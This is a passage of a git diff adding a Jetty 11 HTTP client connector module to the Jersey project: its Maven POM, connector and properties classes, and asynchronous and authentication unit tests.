<version>3.1.99-SNAPSHOT</version> + </parent> + + <artifactId>jersey-jetty11-connector</artifactId> + <packaging>jar</packaging> + <name>jersey-connectors-jetty11</name> + + <description>Jersey Client Transport via Jetty 11.x</description> + + <properties> + <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> + </properties> + + <dependencyManagement> + <dependencies> +<!-- <dependency>--> +<!-- <groupId>org.eclipse.jetty</groupId>--> +<!-- <artifactId>jetty-server</artifactId>--> +<!-- <version>${jetty11.version}</version>--> +<!-- </dependency>--> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-client</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-util</artifactId> + <version>${jetty11.version}</version> + </dependency> + </dependencies> + </dependencyManagement> + + <dependencies> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-client</artifactId> + <version>${jetty11.version}</version> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-util</artifactId> + <version>${jetty11.version}</version> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + + <dependency> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + <version>${slf4j.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-jaxb</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-grizzly2-http</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-json-jackson</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.test-framework.providers</groupId> + <artifactId>jersey-test-framework-provider-grizzly2</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>jakarta.xml.bind</groupId> + <artifactId>jakarta.xml.bind-api</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>com.sun.xml.bind</groupId> + <artifactId>jaxb-osgi</artifactId> + <scope>test</scope> + </dependency> + </dependencies> + + <build> + <plugins> + <plugin> + <groupId>com.sun.istack</groupId> + <artifactId>istack-commons-maven-plugin</artifactId> + <inherited>true</inherited> + </plugin> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>build-helper-maven-plugin</artifactId> + <inherited>true</inherited> + </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-compiler-plugin</artifactId> + </plugin> + <plugin> + <groupId>org.apache.felix</groupId> + <artifactId>maven-bundle-plugin</artifactId> + <inherited>true</inherited> + <configuration> + <instructions> + <Import-Package> + ${jetty.osgi.version}, + * + </Import-Package> + </instructions> + </configuration> + </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-enforcer-plugin</artifactId> + <configuration> + <rulesToSkip>dependencyConvergence</rulesToSkip> + </configuration> + </plugin> + </plugins> + </build> +</project> \ No newline at end of file
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java new file mode 100644 index 0000000..d99c918 --- /dev/null +++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java
@@ -0,0 +1,123 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.Map; + +import org.glassfish.jersey.internal.util.PropertiesClass; +import org.glassfish.jersey.internal.util.PropertiesHelper; + +/** + * Configuration options specific to the Client API that utilizes {@link JettyConnectorProvider}. + * + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +@PropertiesClass +public final class JettyClientProperties { + + /** + * Prevents instantiation. + */ + private JettyClientProperties() { + throw new AssertionError("No instances allowed."); + } + + /** + * A value of {@code false} indicates the client should handle cookies + * automatically using HttpClient's default cookie policy. A value + * of {@code false} will cause the client to ignore all cookies. + * <p/> + * The value MUST be an instance of {@link Boolean}. + * If the property is absent the default value is {@code false} + */ + public static final String DISABLE_COOKIES = + "jersey.config.jetty11.client.disableCookies"; + + /** + * The credential provider that should be used to retrieve + * credentials from a user. + * + * If an {@link org.eclipse.jetty.client.api.Authentication} mechanism is found, + * it is then used for the given request, returning an {@link org.eclipse.jetty.client.api.Authentication.Result}, + * which is then stored in the {@link org.eclipse.jetty.client.api.AuthenticationStore} + * so that subsequent requests can be preemptively authenticated. + + * <p/> + * The value MUST be an instance of {@link + * org.eclipse.jetty.client.util.BasicAuthentication}. If + * the property is absent a default provider will be used. + */ + public static final String PREEMPTIVE_BASIC_AUTHENTICATION = + "jersey.config.jetty11.client.preemptiveBasicAuthentication"; + + /** + * A value of {@code false} indicates the client disable a hostname verification + * during SSL Handshake. A client will ignore CN value defined in a certificate + * that is stored in a truststore. + * <p/> + * The value MUST be an instance of {@link Boolean}. + * If the property is absent the default value is {@code true}. + */ + public static final String ENABLE_SSL_HOSTNAME_VERIFICATION = + "jersey.config.jetty11.client.enableSslHostnameVerification"; + + /** + * Overrides the default Jetty synchronous listener response max buffer size. + * In practise, this allows you to read larger responses. + * Size in bytes. + * <p/> + * If the property is absent, the value is such as specified by Jetty (currently 2MiB). + */ + public static final String SYNC_LISTENER_RESPONSE_MAX_SIZE = + "jersey.config.jetty11.client.syncListenerResponseMaxSize"; + + /** + * Total timeout interval for request/response conversation, in milliseconds. + * Opposed to {@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT}. + * <p> + * The value MUST be an instance convertible to {@link Integer}. The + * value of zero (0) is equivalent to an interval of infinity. + * </p> + * <p> + * The default value is zero (infinity). + * </p> + * <p> + * The name of the configuration property is <tt>{@value}</tt>. + * </p> + * + * @since 2.37 + */ + public static final String TOTAL_TIMEOUT = "jersey.config.jetty11.client.totalTimeout"; + + /** + * Get the value of the specified property. + * + * If the property is not set or the real value type is not compatible with the specified value type, returns {@code null}. + * + * @param properties Map of properties to get the property value from. + * @param key Name of the property. + * @param type Type to retrieve the value as. + * @param <T> Type of the property value. + * @return Value of the property or {@code null}. + * + * @since 2.8 + */ + public static <T> T getValue(final Map<String, ?> properties, final String key, final Class<T> type) { + return PropertiesHelper.getValue(properties, key, type, null); + } + +}
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java similarity index 95% rename from connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java rename to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java index d85ec4d..7565b4b 100644 --- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java +++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
@@ -107,7 +107,7 @@ * <pre> * {@code * ClientConfig config = new ClientConfig(); - * Connector connector = new JettyConnector(config); + * Connector connector = new Jetty11Connector(config); * config.connector(connector); * Client client = ClientBuilder.newClient(config); * @@ -144,7 +144,7 @@ * @param jaxrsClient JAX-RS client instance, for which the connector is created. * @param config client configuration. */ - protected JettyConnector(final Client jaxrsClient, final Configuration config) { + public JettyConnector(final Client jaxrsClient, final Configuration config) { this.configuration = config; HttpClient httpClient = getRegisteredHttpClient(config); @@ -206,9 +206,9 @@ } final Object slResponseMaxSize = configuration.getProperties() - .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE); + .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE); if (slResponseMaxSize != null && slResponseMaxSize instanceof Integer - && (Integer) slResponseMaxSize > 0) { + && (Integer) slResponseMaxSize > 0) { this.syncListenerResponseMaxSize = Optional.of((Integer) slResponseMaxSize); } else { @@ -268,7 +268,7 @@ * Get the {@link CookieStore}. * * @return the {@link CookieStore} instance or null when - * JettyClientProperties.DISABLE_COOKIES set to true. + * Jetty11ClientProperties.DISABLE_COOKIES set to true. */ public CookieStore getCookieStore() { return cookieStore; @@ -293,12 +293,12 @@ } else { final FutureResponseListener listener - = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get()); + = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get()); jettyRequest.send(listener); jettyResponse = listener.get(); } HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(), - JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration()); + JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration()); final jakarta.ws.rs.core.Response.StatusType status = jettyResponse.getReason() == null ? Statuses.from(jettyResponse.getStatus()) @@ -444,13 +444,13 @@ try { final CompletableFuture<ClientResponse> responseFuture = new CompletableFuture<ClientResponse>(); responseFuture.whenComplete( - (clientResponse, throwable) -> { - if (throwable != null && throwable instanceof CancellationException) { - // take care of future cancellation - jettyRequest.abort(throwable); + (clientResponse, throwable) -> { + if (throwable != null && throwable instanceof CancellationException) { + // take care of future cancellation + jettyRequest.abort(throwable); - } - }); + } + }); final AtomicReference<ClientResponse> jerseyResponse = new AtomicReference<>(); final ByteBufferInputStream entityStream = new ByteBufferInputStream(); @@ -459,7 +459,7 @@ @Override public void onHeaders(final Response jettyResponse) { HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(), - JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration()); + JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration()); if (responseFuture.isDone()) { if (!callbackInvoked.compareAndSet(false, true)) { @@ -549,4 +549,4 @@ throw new ProcessingException("Failed to stop the client.", e); } } -} +} \ No newline at end of file
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java new file mode 100644 index 0000000..167683a --- /dev/null +++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
@@ -0,0 +1,128 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configurable; +import jakarta.ws.rs.core.Configuration; + +import org.glassfish.jersey.client.Initializable; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.client.spi.ConnectorProvider; + +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.internal.util.JdkVersion; + +/** + * A {@link ConnectorProvider} for Jersey {@link Connector connector} + * instances that utilize the Jetty HTTP Client to send and receive + * HTTP request and responses. + * <p> + * The following connector configuration properties are supported: + * <ul> + * <li>{@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}</li> + * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li> + * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li> + * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li> + * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li> + * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li> + * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li> + * <li>{@link JettyClientProperties#DISABLE_COOKIES}</li>* + * <li>{@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}</li> + * <li>{@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li> + * <li>{@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}</li> + * </ul> + * </p> + * <p> + * This transport supports both synchronous and asynchronous processing of client requests. + * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE. + * </p> + * <p> + * Typical usage: + * </p> + * <pre> + * {@code + * ClientConfig config = new ClientConfig(); + * config.connectorProvider(new JettyConnectorProvider()); + * Client client = ClientBuilder.newClient(config); + * + * // async request + * WebTarget target = client.target("http://localhost:8080"); + * Future<Response> future = target.path("resource").request().async().get(); + * + * // wait for 3 seconds + * Response response = future.get(3, TimeUnit.SECONDS); + * String entity = response.readEntity(String.class); + * client.close(); + * } + * </pre> + * <p> + * Connector instances created via Jetty HTTP Client-based connector provider support only + * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}. + * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no + * effect on Jetty HTTP Client-based connectors. + * </p> + * + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Marek Potociar + * @since 2.5 + */ +public class JettyConnectorProvider implements ConnectorProvider { + + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + if (JdkVersion.getJdkVersion().getMajor() < 11) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + return new JettyConnector(client, runtimeConfig); + } + + /** + * Retrieve the underlying Jetty {@link HttpClient} instance from + * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget} + * configured to use {@code JettyConnectorProvider}. + * + * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use + * {@code JettyConnectorProvider}. + * @return underlying Jetty {@code HttpClient} instance. + * + * @throws IllegalArgumentException in case the {@code component} is neither {@code JerseyClient} + * nor {@code JerseyWebTarget} instance or in case the component + * is not configured to use a {@code JettyConnectorProvider}. + * @since 2.8 + */ + public static HttpClient getHttpClient(Configurable<?> component) { + if (!(component instanceof Initializable)) { + throw new IllegalArgumentException( + LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName())); + } + + final Initializable<?> initializable = (Initializable<?>) component; + Connector connector = initializable.getConfiguration().getConnector(); + if (connector == null) { + initializable.preInitialize(); + connector = initializable.getConfiguration().getConnector(); + } + + if (connector instanceof JettyConnector) { + return ((JettyConnector) connector).getHttpClient(); + } + + throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED()); + } +}
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java similarity index 94% rename from connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java rename to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java index b061ef5..95782f2 100644 --- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java +++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java similarity index 84% copy from connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java copy to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java index 59c8fd3..de6453b 100644 --- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java +++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -15,9 +15,7 @@ */ package org.glassfish.jersey.jetty.connector; -import jakarta.ws.rs.ProcessingException; import org.eclipse.jetty.client.HttpClient; -import org.glassfish.jersey.internal.util.JdkVersion; /** * Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}. @@ -53,9 +51,6 @@ @Override public HttpClient getHttpClient() { - if (JdkVersion.getJdkVersion().getMajor() < 11) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - return null; // does not work at JDK 1.8 + return httpClient; } }
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java similarity index 73% copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java copy to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java index dd25372..8416cf4 100644 --- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java +++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,7 +14,8 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.internal.jsr166; - -public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> { -} +/** + * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on the + * Jetty Client. + */ +package org.glassfish.jersey.jetty.connector;
diff --git a/connectors/jetty-http2-connector/src/main/resources/org.glassfish.jersey.jetty.http2.connector/localization.properties b/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties similarity index 100% rename from connectors/jetty-http2-connector/src/main/resources/org.glassfish.jersey.jetty.http2.connector/localization.properties rename to connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java new file mode 100644 index 0000000..8755aaf --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java
@@ -0,0 +1,201 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.hamcrest.Matchers; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * Asynchronous connector test. + * + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Marek Potociar + */ +public class AsyncTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName()); + private static final String PATH = "async"; + + /** + * Asynchronous test resource. + */ + @Path(PATH) + public static class AsyncResource { + /** + * Typical long-running operation duration. + */ + public static final long OPERATION_DURATION = 1000; + + /** + * Long-running asynchronous post. + * + * @param asyncResponse async response. + * @param id post request id (received as request payload). + */ + @POST + public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) { + LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName()); + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep() + try { + Thread.sleep(OPERATION_DURATION); + return "DONE-" + id; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED-" + id; + } finally { + LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName()); + } + } + }, "async-post-runner-" + id).start(); + } + + /** + * Long-running async get request that times out. + * + * @param asyncResponse async response. + */ + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName()); + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + } + }); + asyncResponse.setTimeout(1, TimeUnit.SECONDS); + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // very expensive operation that typically finishes within 1 second but can take up to 5 seconds, + // simulated using sleep() + try { + Thread.sleep(5 * OPERATION_DURATION); + return "DONE"; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED"; + } finally { + LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName()); + } + } + }).start(); + } + + } + + @Override + protected Application configure() { + return new ResourceConfig(AsyncResource.class) + .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + } + + @Override + protected void configureClient(ClientConfig config) { + // TODO: fails with true on request - should be fixed by resolving JERSEY-2273 + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY)); + config.connectorProvider(new JettyConnectorProvider()); + } + + /** + * Test asynchronous POST. + * + * Send 3 async POST requests and wait to receive the responses. Check the response content and + * assert that the operation did not take more than twice as long as a single long operation duration + * (this ensures async request execution). + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncPost() throws Exception { + final long tic = System.currentTimeMillis(); + + // Submit requests asynchronously. + final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1")); + final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2")); + final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3")); + // get() waits for the response + final String r1 = rf1.get().readEntity(String.class); + final String r2 = rf2.get().readEntity(String.class); + final String r3 = rf3.get().readEntity(String.class); + + final long toc = System.currentTimeMillis(); + + assertEquals("DONE-1", r1); + assertEquals("DONE-2", r2); + assertEquals("DONE-3", r3); + + assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION)); + } + + /** + * Test accessing an operation that times out on the server. + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncGetWithTimeout() throws Exception { + final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java new file mode 100644 index 0000000..be077c9 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java
@@ -0,0 +1,77 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.logging.Logger; + +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class AuthFilterTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testAuthGetWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testAuthPostWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + } + + + @Test + public void testAuthDeleteWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().delete(); + assertEquals(204, response.getStatus()); + } + +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java new file mode 100644 index 0000000..27ca10a --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
@@ -0,0 +1,197 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.logging.Logger; + +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; + +import jakarta.inject.Singleton; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.eclipse.jetty.client.util.BasicAuthentication; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class AuthTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName()); + 